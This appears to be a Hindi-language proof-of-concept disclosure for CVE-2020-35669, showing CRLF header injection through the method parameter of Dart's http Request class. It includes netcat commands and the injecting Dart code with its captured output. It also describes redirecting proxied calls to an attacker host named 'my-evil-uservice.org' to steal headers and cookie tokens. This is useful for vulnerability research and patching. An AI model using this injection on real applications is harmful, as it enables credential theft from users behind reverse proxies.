
CVE-2020-35669 के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, जो Dart के http पैकेज में क्राफ्टेड मेथड पैरामीटर्स के माध्यम से HTTP रिक्वेस्ट स्मगलिंग और हेडर इंजेक्शन प्रदर्शित करता है, जिससे रिवर्स प्रॉक्सी बायपास और होस्ट हेडर मैनिपुलेशन संभव होता है।
कृपया पहले टर्मिनल का उपयोग करके डमी सर्वर चलाएँ
sudo nc -l 127.0.0.1 80
diff --git a/main.dart b/main.dart
index 8c78291..a46f4d0 100644
--- a/main.dart
+++ b/main.dart
@@ -4,7 +4,7 @@ import 'package:http/src/request.dart';
void main() async {
var r = Request(
"GET http://example.com/ HTTP/1.1\r\nHost: example.com\r\nLLAMA:",
- Uri(scheme: "http", path: "/llama", host: "google.com"));
+ Uri(scheme: "http", path: "/llama", host: "localhost"));
var rs = await r.send();
var resp = await Response.fromStream(rs);
print('${resp.body}');
कृपया दूसरे टर्मिनल का उपयोग करके main.dart चलाएँ
dart run main.dart
nc को दिया गया अनुरोध प्राप्त करना चाहिए
GET HTTP://EXAMPLE.COM/ HTTP/1.1
HOST: EXAMPLE.COM
LLAMA: /llama HTTP/1.1
user-agent: Dart/2.10 (dart:io)
accept-encoding: gzip
content-length: 0
host: localhost
var r = Request(
"GET http://example.com/ HTTP/1.1\r\nHost: example.com\r\nLLAMA:",
Uri(scheme: "http", path: "/llama", host: "google.com"));
var rs = await r.send();
यह मानते हुए कि ऊपर दिखाया गया diff लागू नहीं किया गया था और उपयोगकर्ता rev-proxy के पीछे है, example.com द्वारा परोसी गई वेबसाइट तक पहुँचा गया था।
dart run main.dart
<!doctype html>
<html>
<head>
<title>Example Domain</title>
<meta charset="utf-8" />
...
... blah blah blah
...
यदि डेवलपर HTTP कॉल उत्पन्न करने को सार करने के लिए Request का उपयोग कर रहा है और वह उपयोगकर्ता से method पैरामीटर स्वीकार कर रहा है, तो उपयोगकर्ता हेडर इंजेक्शन या पाथ फोर्जरी जैसा कुछ जादू कर सकता है।
इसका कई तरीकों से फायदा उठाया जा सकता है और यह विशेष रूप से तब काफी महत्वपूर्ण लगता है जब रिवर्स प्रॉक्सी मौजूद हो। एक प्रॉक्सी किसी के अनुरोध को host हेडर के आधार पर किसी भी होस्ट को पास कर सकता है।
मान लीजिए कि मैं example.com को my-evil-uservice.org से बदल रहा हूँ और पीड़ित प्रॉक्सी के पीछे किसी कंपनी में काम कर रहा है। इसका मतलब है कि मैं हेडर/कुकीज़(टोकन) वाली कॉल्स को रीडायरेक्ट कर सकता हूँ और ब्ला ब्ला ब्ला। इसके आधार पर, सभी हेडर/कुकीज़ वाली कॉल्स की चोरी हो सकती है।